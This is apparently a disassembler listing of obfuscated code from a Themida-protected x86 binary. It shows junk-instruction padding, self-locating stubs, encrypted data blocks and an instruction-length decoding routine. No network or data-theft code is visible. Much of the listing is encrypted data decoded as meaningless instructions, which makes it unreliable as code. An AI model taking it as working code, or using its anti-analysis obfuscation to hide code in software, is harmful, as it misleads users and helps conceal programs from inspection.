		add	ecx, 5FE9h
		mov	ax, cx
		push	17C8h
		mov	ebx, 6677ADEDh
		pop	edx
		jmp	loc_5932DB
; ---------------------------------------------------------------------------
		dw 7CB6h
		db 50h,	2Fh, 80h
; ---------------------------------------------------------------------------


loc_5932DB:				; CODE XREF: Themida_:005932D1j
					; Themida_:00593369j
		push	dword ptr [ecx]
		ja	loc_5932E6
		and	bl, 29h


loc_5932E6:				; CODE XREF: Themida_:005932DDj
		pop	edi
		movsx	ebx, cx
		add	edi, 67AD4F3Bh
		call	loc_593303
		inc	edi
		dec	eax
		aas
		shl	byte ptr [esi+7923C2D4h], cl
		mov	cl, ah
		lds	esp, [edx+0Fh]


loc_593303:				; CODE XREF: Themida_:005932F0p
		push	edx
		jmp	loc_593318
; ---------------------------------------------------------------------------
		db 8Ch,	2, 76h
		dd 67E14E97h, 5D96E7E5h, 0B1E6402Ch
; ---------------------------------------------------------------------------


loc_593318:				; CODE XREF: Themida_:00593304j
		pop	eax
		pop	esi
		add	edi, 28CBCEC4h
		push	edi
		mov	ax, 68FBh
		pop	esi
		sub	edi, 0F68DEDBh
		pusha
		xor	ah, 0A4h
		or	di, 1DB4h
		popa
		push	edi
		mov	bx, ax
		pop	dword ptr [ecx]
		mov	esi, edx
		sub	ecx, 40B9D341h
		sub	ax, 2A54h
		add	ecx, 40B9D33Dh
		jmp	loc_593366
; ---------------------------------------------------------------------------
		dd 0A79B1F1Bh, 79E63817h, 0A2C674F7h, 0D0FD14BAh
		db 89h,	0B7h
; ---------------------------------------------------------------------------


loc_593366:				; CODE XREF: Themida_:0059334Fj
		sub	edx, 1
		jnz	loc_5932DB
		mov	bx, 956Dh	; CODE XREF: Themida_:0059337Dj
		in	al, dx
		adc	[ebx-17h], edi
		sbb	eax, 6BA51748h
		lodsb
		loop	near ptr loc_59336F+1
		and	eax, 4005F673h
		aaa
		mov	bh, [ecx-7]
		jb	short loc_5933E5
		call	dword ptr [edi-79h]
		sbb	[edx+30668730h], al
		aas
		db	26h
		sub	eax, 597A6747h
		and	eax, [edx-76h]
		inc	edx
		cmp	ebp, ebx
		xor	[edx+3Fh], ebx
		cmc


loc_5933A4:				; CODE XREF: Themida_:005933DEj
		cmp	bl, [ebx+30h]
		cmp	[edx+3464D90Fh], al
		pop	ebx
		xor	[ecx], al
		mov	esi, 3707305Bh
		fmul	dword ptr [ebp+365039B2h]
		sar	dword ptr [eax], 0DFh
		add	al, ah
		aaa
		pop	ebx
		mov	cl, 0A6h
		mov	edi, 0DE7BD09Bh
		add	[ebx], esi
		sbb	al, 37h
		xor	[eax], esi
		pop	eax
		fistp	word ptr [eax+30h]
		pop	es
		aaa
		jnp	short loc_593445
		inc	eax
		imul	edx, 0DA33E544h
		jz	short loc_5933A4
		xor	eax, [ebx+30h]
		jo	short loc_59341C


loc_5933E5:				; CODE XREF: Themida_:00593388j
		sbb	eax, 945BFB66h
		sahf
		mov	al, 8Dh
		cmp	eax, 8A6CE7B1h
		mov	ebp, 2029D882h
		test	[eax], edi
		fisubr	dword ptr [ecx]
		sal	dword ptr [edi], 5Bh
		fdiv	st, st(1)
		aaa
		pop	ebx
		xor	ah, cl
		mov	ecx, 67530F8Ch
		mov	edi, 0BBDC4D12h
		popf
		sub	ecx, esp
		xchg	eax, ebp
		pushf
		fst	qword ptr [edi+3Ah]
		outsd
		rcr	esi, cl
		dec	eax
		xor	cl, al


loc_59341C:				; CODE XREF: Themida_:005933E3j
		aaa
		xchg	eax, ebp
		imul	ebx, [edx], 0BF474AC6h
		mov	ah, 0C2h
		into
		iret
; ---------------------------------------------------------------------------
		dd 50C02E54h, 2B435E8Eh, 6D145FBEh, 80D80A37h, 0E1305B37h
		dd 6969986Eh, 0F1347F7Bh
		db 73h
; ---------------------------------------------------------------------------


loc_593445:				; CODE XREF: Themida_:005933D5j
		jg	short near ptr loc_59347A+1
		sub	al, 37h
		pop	ebx
		xor	[ebp+66h], bl
		cwde
		mov	esp, 305DBB01h
		pop	es
		aaa
		fcmovu	st, st(7)
		setalc
		push	eax
		imul	esi, [ebx-59h],	269692B6h
		mov	edx, 2702E1DEh
		pop	ebp
		push	esi
		xchg	eax, [edx-0Ah]
		mov	al, ds:6B8894Eh
		fnstenv	byte ptr [ecx+5]
		pusha
		popa
		mov	esp, 0B08CA0A1h
		dec	eax


loc_59347A:				; CODE XREF: Themida_:loc_593445j
		xor	cl, al
		aaa
		or	cl, bl
		in	al, dx
		aaa
		pop	ebx
		xor	[eax-6AAB8FB3h], bl
		push	ss
		or	bl, [eax+59h]
		mov	bl, 41h
		xchg	eax, esp
		push	edi
		enter	1DCEh, 2
		cmp	al, 5Dh
		pop	edx
		and	dword ptr [esi-4Dh], 33h
		sal	dword ptr [edi], 5Bh
		adc	[ecx+3CB902F4h], bh
		adc	ebx, [edi-4Fh]
		jl	short loc_5934BC
		pop	edi
		sub	[edi+esi], bl
		pop	ebx
		jno	short loc_59350F
		hlt
; ---------------------------------------------------------------------------
		db 0B5h, 8, 0
		dd 84D8D99Fh, 4E305B37h
; ---------------------------------------------------------------------------


loc_5934BC:				; CODE XREF: Themida_:005934A7j
		cwde
		sbb	eax, 31868C04h
		mov	al, 0BEh
		inc	esi
		add	bh, [ebx+1CE551F8h]
		adc	esi, [esi+5D3C0B8Dh]
		xor	[edx+3Eh], dh
		fmul	dword ptr [ebp+36501E52h]
		rol	dword ptr [ebx+42h], 60h
		mov	bl, 0BCh
		wait
		mov	[edx], cl
		xor	ebx, [ebx+30h]
		mov	cl, 0B2h
		outsb
		sbb	dl, [edi]
		xor	esi, edx
		lodsd
		adc	al, 84h
		push	esi
		db	36h
		clc
		in	al, 0
		push	198A8A00h
		retf	5B31h
; ---------------------------------------------------------------------------
		dw 0F744h
; ---------------------------------------------------------------------------
		or	[bx+si+330Ah], cl
		pop	ebx
		xor	[ecx+171A6EB2h], dh
		xor	esi, edx
		lodsd


loc_59350F:				; CODE XREF: Themida_:005934AEj
		pop	es
		xchg	edx, [esi+36h]
		clc
		in	al, 0
		push	305B3B6Ah
		ror	dword ptr [eax], 70h
		wait
		test	ds:87FEEF79h, eax
		call	fword ptr [ebx+65E45194h]
		dec	ebx
		push	ecx
; ---------------------------------------------------------------------------
		db 0DAh, 0F7h, 89h
		dd 8AF0D086h, 934282AAh, 97303131h, 0E03058DFh,	0B36E7B37h
		dd 1C44D269h, 3874DA33h, 0E304133h, 0C4661D37h,	30E20132h
		dd 391CDB56h, 8A64DEBAh, 0F13F5D27h, 38305B22h,	1C304BDEh
		dd 50835A37h, 0C497DC58h, 0A5246E79h, 422520B7h, 8AE0A428h
		dd 73D80837h, 18305B37h, 956B986Ch, 8F347F6Bh, 1D347F73h
		dd 0C0305B37h, 669F9864h, 0AA8E608Ch, 0E28E3DC3h, 3824B3DEh
		dd 0A0AA5B37h, 7F0CA58Bh, 580C3746h, 995D955Dh,	5323B424h
		dd 573F327Ch, 0B03B01C8h, 3829DF38h, 91C95B37h,	57D8CAAh
		dd 0D5B13D31h, 8088F9B1h, 0A7305B37h, 1F49A888h, 0FD6A0DD4h
		dd 2842BAAAh, 99BDA231h, 8203163h, 0F8C3EC38h, 0D53031E7h
		dd 0C13058DFh, 236E7B37h, 5444D269h, 1C74DA33h,	1C304033h
		dd 0CD661D37h, 2EEFE887h, 4D04C358h, 28C7D051h,	0E0305B25h
		dd 39706EA5h, 0DF7586D9h, 0A268A101h, 2FB0177Eh, 0C73B1ED9h
		dd 8309DF38h, 71815B37h, 0ADE7C6BAh, 82B15D3Ch,	2CA9FF6h
		dd 1C305A8Fh, 64D3A437h, 4D80E37h, 0A3305B37h, 486D986Ah
		dd 61347F5Bh, 66347F73h, 7D305B37h, 12639862h, 56DADA99h
		dd 8A612451h, 9342BDAAh, 2B8F3D31h, 0B4B5D6EDh,	7F364B5Dh
		dd 0E8CF9280h, 0F4605B5Dh, 0E305B34h, 5FF30317h, 87141FBEh
		dd 0C5141FB6h, 0E0305B2Fh, 5F30B77h, 0DC795DA4h, 1C23DF38h
		dd 5D85B37h, 2D305B37h,	0E486C61Fh, 0C1E0417h, 0BA614628h
		dd 7FF0506Eh, 383005B3h, 1C3EB337h, 0DA3E5B37h,	1EFC251Dh
		dd 54C5FAB0h, 0AA0D315Bh, 6D6AABBCh, 7B7D8CAAh,	69303131h
		dd 1C3058DFh, 0CD697B37h, 237CD26Eh, 0A774DA33h, 0C1304633h
		dd 23611A37h, 0A52028CDh, 0EDBE71B3h, 8A8A6525h, 0B60F46B1h
		dd 7305B34h, 71D6E451h,	4D3FB8C8h, 0E0305B30h, 7031D638h
		dd 7BC85B37h, 0F4605B5Dh, 0E305B34h, 5FF30317h,	87141FBEh
		dd 0C5141FB6h, 0E0305B23h, 3AF30B77h, 3831D338h, 91C85B37h
		dd 1E42948Ah, 0C4BDD631h, 3B364B41h, 4B7B074Ah,	0CB1DDE04h
		dd 0BF1B5D3Ch, 0FD32B2F6h, 2842BAAAh, 99BDA231h, 8203163h
		dd 0F8C3EC38h, 0D53031E7h, 833058DFh, 0A4F305E9h, 6AC08Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 2C1F16C3h, 0AC22A18Ah, 0F87B46Eh, 6AD0B7h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0F50E28C3h
		dd 8B666E8Eh, 48F0FC3h,	66000000h, 8BBC6DBEh, 0CE9C0h
		dd 46600000h, 565107D7h, 0A7860BA8h, 13E9CA18h,	0B6000000h
		dd 0DA8EE952h, 6167CBCh, 287E6E96h, 4961BA91h, 0BD83C83Dh
		dd 60B05BDh, 83097500h,	0B29D1BDh, 19740006h, 0C08B5350h
		dd 47AB8h, 99858900h, 8D060B12h, 0DB3819Dh, 5BD3FF06h
		dd 0D1BD8358h, 60B29h, 53501774h, 47AB8h, 99858900h, 8D060B12h
		dd 0DB0229Dh, 5BD3FF06h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0AD3C7ABBh, 0E9C05149h
		dd 5, 0AE793F75h, 8DC08BB6h, 1078568Dh,	4D8D8906h, 57060B17h
		dd 8E8h, 18874A00h, 8B8C29AAh, 0C7585A7Bh, 0B011985h, 743006h
		dd 68C0F00h, 9000000h, 0B15B58Dh, 985C706h, 60B10h, 8B000000h
		dd 0B0DF985h, 5B5FF06h,	6A060B27h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 82B1C352h
		dd 0AE4D6EB7h, 2FBB6642h, 0C595FF8Dh, 6A060B0Ah, 0DD95FF00h
		dd 8B060B32h, 506BEBC0h, 0BE598A54h, 0E6E775D8h, 355A26FEh
		dd 51458F78h, 0E692C404h, 853C12F3h, 8EC48009h,	0C4D0E24Fh
		dd 31D8BA5Eh, 8E6DFA2Dh, 41E22696h, 6917CADh, 22C0662Fh
		dd 16A93595h, 0C08F4D89h, 2A7BDF75h, 76C428DBh,	433B4E11h
		dd 0AD6E2CDh, 0FAE0A264h, 0D1A4A6A2h, 16B27B07h, 0AFC5332Ch
		dd 0E793845Ch, 2987D124h, 16BA9427h, 66E9EE64h,	60000002h
		dd 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 60B0B01h, 7D18858Dh
		dd 0D0FF060Eh, 0F558589h, 0FE8B060Bh, 680CEFC1h, 20060000h
		dd 26A006Ah, 0D6857h, 95FF0001h, 60B0F55h, 32E9h, 4585C600h
		dd 56060B28h, 0C530DF68h, 55B5FFA9h, 8D060B13h,	0E7D1885h
		dd 89D0FF06h, 0B33A185h, 61858D06h, 50060B0Bh, 56A406Ah
		dd 0A195FF56h, 61060B33h, 0C3h,	2 dup(0)
		dd 0D48B5200h, 8428B60h, 79498589h, 428B0610h, 4185890Ch
		dd 8B061079h, 85891042h, 6107945h, 797FB58Dh, 858D0610h
		dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 107949B5h, 41858B06h
		dd 83061079h, 107945BDh, 840F0006h, 7, 2E90689h, 88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 49858908h, 8D061079h, 1079D0B5h
		dd 35858D06h, 0FF005B7Eh, 8B5A61D0h, 10794985h,	4C206h
		dd 7949858Bh, 8B0610h, 79498589h, 0CF0610h, 60000000h
		dd 79A6B589h, 85890610h, 61079A2h, 43D858Dh, 408B060Bh
		dd 0DF858944h, 8D061079h, 107A15B5h, 35858D06h,	0FF005B7Eh
		dd 858B61D0h, 61079A6h,	0A29D8BC3h, 0F061079h, 33C43B7h
		dd 785B8BD8h, 79A29D03h, 738B0610h, 0A2B50324h,	56061079h
		dd 8B207B8Bh, 0BD031C73h, 61079A2h, 79A2B503h, 83FC0610h
		dd 8B41FFC9h, 1079A69Dh, 3178B06h, 1079A295h, 4C78306h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 1079A285h,	0A6858906h, 8B061079h, 8BCE8BF0h
		dd 0DFBD81C1h, 61079h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 61079DFh
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 0DFBD8100h
		dd 61079h, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 61079DFh, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 4D858DCFh
		dd 89061079h, 0B088585h, 0E3858D06h, 89061079h,	0B131185h
		dd 0AA858D06h, 89061079h, 0B027985h, 0ED8D8D06h, 0B006107Bh
		dd 4D8D892Eh, 6A060B17h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 8938C351h, 3820F6Fh
		dd 66000000h, 0C6BFF08Bh, 0C76D1720h, 0B011985h, 627006h
		dd 9858900h, 0C7060B08h, 0B100985h, 6, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 24BDDACh, 7568618Bh,	2173CB81h, 0B5FF7678h, 60B0DA5h
		dd 16799533h, 95FF060Bh, 60B0AC5h, 6AD88Bh, 32DD95FFh
		dd 0C08B060Bh, 0B1D82AEBh, 0A537E61Eh, 32D9246Fh, 17C12D8Eh
		dd 6D4AA1A2h, 0FDE2CA1Eh, 0CEB1289Eh, 0E64FB2CAh, 0C10376D6h
		dd 0AFC6F8Dh, 2129C9C2h, 13E8h,	0BB412800h, 22A4B94Dh
		dd 37410C91h, 677D9F16h, 156BA231h, 56412FBAh, 52565904h
		dd 0B54DDA81h, 5A5A3458h, 6071C181h, 0BD230000h, 60B33A9h
		dd 68h,	5E92B200h, 1B25B529h, 48B060Bh,	0D68B6631h, 5CC3C081h
		dd 0BA6639CFh, 0E881FFE1h, 4B4679DBh, 0CD9BD8Bh, 0F081060Bh
		dd 6FC409E3h, 8E9h, 1244CE00h, 0F1923137h, 48F5039h, 850F31h
		dd 66000000h, 0EE81D68Bh, 557816C8h, 813BF680h,	7816C4C6h
		dd 0FA8B6655h, 0A040FE81h, 850FFFFFh, 0FFFFFFA6h, 14E8h
		dd 10FCDD00h, 6273EC44h, 1885E5BDh, 1CBE3518h, 0DB6C567Dh
		dd 4ABF661Ah, 0C8E95A32h, 88000001h, 7 dup(88004188h)
		dd 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 1000000h, 14h dup(0)
		dd 0C3000000h, 77ED6380h, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	107EAEEDh, 85C76006h
		dd 6107DFBh, 0
; ---------------------------------------------------------------------------
		cmp	word ptr [esi],	0A166h
		jnz	loc_593F7E
		mov	dword ptr [ebp+6107DFFh], 6
		jmp	loc_593FA2
; ---------------------------------------------------------------------------


loc_593F7E:				; CODE XREF: Themida_:00593F69j
		lea	eax, [ebp+6107E03h]
		push	eax
		lea	eax, [ebp+6107E53h]
		push	eax
		push	esi
		push	0
		call	sub_593FB1
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+6107DFFh],	eax


loc_593FA2:				; CODE XREF: Themida_:00593F79j
		popa
		add	esi, [ebp+6107DFFh]
		mov	eax, [ebp+6107DFBh]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_593FB1	proc near		; CODE XREF: Themida_:00593F8Fp

var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_6107DF3	= dword	ptr  6107DFBh

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_5], 0
		and	[ebp+var_6], 0
		xor	dl, dl
		and	[ebp+var_1], dl
		cmp	[ebp+arg_0], 0
		jz	loc_593FDE
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		mov	[ebp+var_2], 1
		jmp	loc_593FEA
; ---------------------------------------------------------------------------


loc_593FDE:				; CODE XREF: sub_593FB1+16j
		and	[ebp+var_3], 0
		and	[ebp+var_2], 0
		mov	[ebp+var_4], 4


loc_593FEA:				; CODE XREF: sub_593FB1+28j
		push	ebx
		push	esi
		push	edi


loc_593FED:				; CODE XREF: sub_593FB1+91j
					; sub_593FB1+ADj ...
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_594000:				; CODE XREF: sub_593FB1+76j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6107F65h
		lea	ebp, [ebp+6107DDBh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_59402D
		inc	cl
		cmp	cl, 0Bh
		jb	loc_594000


loc_59402D:				; CODE XREF: sub_593FB1+6Bj
		cmp	cl, 0Bh
		jz	loc_59408A
		cmp	al, 66h
		jnz	loc_59406B
		cmp	[ebp+var_5], 0
		jnz	loc_593FED
		cmp	[ebp+var_3], 0
		mov	[ebp+var_5], 1
		jnz	loc_594063
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		jmp	loc_593FED
; ---------------------------------------------------------------------------


loc_594063:				; CODE XREF: sub_593FB1+9Fj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], 4


loc_59406B:				; CODE XREF: sub_593FB1+87j
		cmp	al, 67h
		jnz	loc_593FED
		cmp	[ebp+var_6], 0
		jnz	loc_593FED
		xor	[ebp+var_2], 1
		mov	[ebp+var_6], 1
		jmp	loc_593FED
; ---------------------------------------------------------------------------


loc_59408A:				; CODE XREF: sub_593FB1+7Fj
		mov	ebx, [ebp+arg_C]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5940B6
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5940BB
; ---------------------------------------------------------------------------


loc_5940B6:				; CODE XREF: sub_593FB1+E4j
		movzx	edi, al
		shr	edi, 1


loc_5940BB:				; CODE XREF: sub_593FB1+100j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 610801Dh
		lea	ebp, [ebp+6107CDBh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp+var_7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp+var_6], bl
		jz	loc_59423D
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebp+arg_0+3],	1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	byte ptr [ebp+arg_C+3],	dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	[ebp+var_5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_594181
		dec	ecx
		jz	loc_594164
		dec	ecx
		jnz	loc_5941D4
		cmp	[ebp+var_2], 0
		jnz	loc_5941D0
		cmp	[ebp+var_5], 0
		jz	loc_594143
		mov	byte ptr [ebp+arg_0+3],	2


loc_594143:				; CODE XREF: sub_593FB1+188j
		add	byte ptr [ebp+arg_0+3],	4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61080A9h
		mov	[ebp+arg_6107DF3], 1
		pop	ebp
		jmp	loc_5941D4
; ---------------------------------------------------------------------------


loc_594164:				; CODE XREF: sub_593FB1+16Dj
		cmp	[ebp+var_2], 0
		jnz	loc_5941AE
		cmp	[ebp+var_5], 0
		jz	loc_5941AE
		mov	byte ptr [ebp+arg_0+3],	2
		jmp	loc_5941AE
; ---------------------------------------------------------------------------


loc_594181:				; CODE XREF: sub_593FB1+166j
		cmp	[ebp+var_2], 0
		jnz	loc_5941C7
		cmp	[ebp+var_5], 0
		jz	loc_5941B6
		movzx	ecx, byte ptr [ebp+arg_C+3]
		mov	edx, [ebp+arg_4]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5941AE
		mov	byte ptr [ebp+arg_0+3],	cl


loc_5941AE:				; CODE XREF: sub_593FB1+1B7j
					; sub_593FB1+1C1j ...
		inc	byte ptr [ebp+arg_0+3]
		jmp	loc_5941D4
; ---------------------------------------------------------------------------


loc_5941B6:				; CODE XREF: sub_593FB1+1DEj
		cmp	dl, 5
		jnz	loc_5941D4
		mov	byte ptr [ebp+arg_0+3],	dl
		jmp	loc_5941D4
; ---------------------------------------------------------------------------


loc_5941C7:				; CODE XREF: sub_593FB1+1D4j
		cmp	dl, 6
		jnz	loc_5941D4


loc_5941D0:				; CODE XREF: sub_593FB1+17Ej
		mov	byte ptr [ebp+arg_0+3],	3


loc_5941D4:				; CODE XREF: sub_593FB1+174j
					; sub_593FB1+1AEj ...
		dec	byte ptr [ebp+arg_0+3]
		jz	loc_594202
		movzx	ecx, byte ptr [ebp+arg_0+3]
		mov	[ebp+arg_0], ecx


loc_5941E4:				; CODE XREF: sub_593FB1+249j
		movzx	esi, byte ptr [ebp+arg_C+3]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		dec	[ebp+arg_0]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5941E4
		mov	esi, edx


loc_594202:				; CODE XREF: sub_593FB1+226j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_594237
		cmp	edi, 7Fh
		ja	loc_594237
		test	bl, 38h
		jnz	loc_594237
		cmp	[ebp+var_7], 0
		jz	loc_594231
		movzx	eax, [ebp+var_4]
		jmp	loc_594234
; ---------------------------------------------------------------------------


loc_594231:				; CODE XREF: sub_593FB1+271j
		push	1
		pop	eax


loc_594234:				; CODE XREF: sub_593FB1+27Bj
		mov	[ebp+var_1], al


loc_594237:				; CODE XREF: sub_593FB1+255j
					; sub_593FB1+25Ej ...
		mov	dl, byte ptr [ebp+arg_C+3]
		mov	bl, [ebp+var_6]


loc_59423D:				; CODE XREF: sub_593FB1+136j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_594268
		dec	eax
		dec	eax
		jz	loc_59425E
		and	bl, 7
		add	[ebp+var_1], bl
		jmp	loc_594270
; ---------------------------------------------------------------------------


loc_59425E:				; CODE XREF: sub_593FB1+29Cj
		mov	al, [ebp+var_3]
		add	al, 6
		jmp	loc_59426D
; ---------------------------------------------------------------------------


loc_594268:				; CODE XREF: sub_593FB1+294j
		mov	al, [ebp+var_3]
		add	al, 4


loc_59426D:				; CODE XREF: sub_593FB1+2B2j
		add	[ebp+var_1], al


loc_594270:				; CODE XREF: sub_593FB1+2A8j
		mov	al, [ebp+var_1]
		dec	[ebp+var_1]
		test	al, al
		jz	loc_594298
		movzx	ecx, [ebp+var_1]
		inc	ecx


loc_594283:				; CODE XREF: sub_593FB1+2E1j
		mov	edi, [ebp+arg_4]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_594283


loc_594298:				; CODE XREF: sub_593FB1+2C7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
sub_593FB1	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		jmp	short loc_5942D0
; ---------------------------------------------------------------------------
		align 4
		dd 0D0000000h, 9CBFAE0Dh, 0F9DFF231h, 88A7A5ADh, 0FB75528Ch
		dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 67268168h, 3B2BD14h
		dd 22E4A8D4h
; ---------------------------------------------------------------------------


loc_5942D0:				; CODE XREF: Themida_:005942A1j
		jmp	loc_594DC5
; ---------------------------------------------------------------------------
		push	610833Bh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	6108472h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	6108573h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	610860Ch
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	610870Eh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	61087F6h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	61088E1h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	6108A90h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	6108BA3h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		db 55h
		dd 3CE90A41h, 0EA1BD8E9h, 54B1A29Fh, 3EC774Eh, 0A61DC6F9h
		dd 79445CBFh, 0C9F40DFAh, 9CABFD2Ah, 605DA647h,	4AE20EF3h
		dd 0C5849F3Eh, 0BD5AC2B1h, 1DCFBB33h, 7A40C394h, 97ACF0CCh
		dd 9BC12145h, 340EBD84h, 97A2F726h, 7B56A34Ch, 4C584597h
		dd 0B5C7D771h, 77DFE358h, 6B2B1CFDh, 7B03EF9Bh,	261A603Ah
		dd 8DB0C934h, 412BC539h, 71988837h, 2DEFB24h, 0C97310E4h
		dd 5DFC446Bh, 3415B7BFh, 9D4FA340h, 0C9F22470h,	9CA0E35Eh
		dd 8B6583E7h, 273C091Ah, 3C80BDC6h, 519BA0FCh, 416BC0DDh
		dd 222D154Eh, 927E2693h, 460BCC46h, 0E5000009h,	4CB9BA91h
		dd 3AEB0839h, 0E401D2EFh, 53BCA79Eh, 56ED7649h,	0A994EC0Fh
		dd 79445D4Ah, 0CCFB0DFAh, 90ADF617h, 3AB2BE43h,	0C5849E4Eh
		dd 0DE8A72C1h, 0A514F8D5h, 95A8F050h, 0A8F4A2B1h, 58254993h
		dd 80BD9F19h, 17310C15h, 0F67EC238h, 3A60E696h,	0E70F9943h
		dd 3A60E6E3h, 58CC1E64h, 3A60E62Ch, 0F7B15FA3h,	7EB02F6h
		dd 41C62C35h, 2E000000h, 0E4760D6Fh, 20A4C85Ah,	0A7C3941Dh
		dd 0A29FEA53h, 541F084h, 3143BD9Fh, 60CBC9BDh, 0CA645E3Ah
		dd 6294E04Dh, 0E2C2B70h, 2D016579h, 0CDF98959h,	742C3A60h
		dd 0C16A8379h, 0D1472C35h, 0A1000000h, 14F8D5DEh, 0FA605FA5h
		dd 7BCFF20Bh, 0DB61E907h, 1EE2DF2Ah, 7649533Ah,	0ADA04E82h
		dd 40FF6D58h, 0DCDF2105h, 52A22B2Ch, 9445CD7Bh,	39ADB683h
		dd 0C3941A74h, 5C87B2C7h, 816B66B3h, 43370E14h,	5BBF869Ah
		dd 3745A5ADh, 0A3B63E2Ch, 844260FEh, 0A3F9A5BEh, 45C9F40Dh
		dd 3753DB01h, 0B83A60CEh, 68FC6E42h, 446D5F02h,	8FFB73FDh
		dd 30733Dh, 0E914C63Ah,	56B7AC93h, 0C3F47342h, 7A8C6A72h
		dd 80F3788h, 5AAC0000h,	17F063h, 0B6C52231h, 57AF589Bh
		dd 61A8B68h, 569D243Fh,	81526DB7h, 31221F64h, 6EF5C0D4h
		dd 9A597481h, 1773FB71h, 98C58499h, 0DADEB329h,	7A8F78FBh
		dd 1C3E9D4Fh, 997BB056h, 0D6FC881Ch, 0F73C394h,	9A7AFD2Bh
		dd 26E21EBDh, 81D18AFAh, 3E455767h, 9F458F2Ch, 2CEBE631h
		dd 927B6E0Ch, 0D799B78Eh, 9FC6FE5Fh, 870B4FBDh,	6184DFAFh
		dd 1FAE0A3Ah, 368A44E5h, 0BF6D2Ch, 0DE8B0000h, 0A514F8D5h
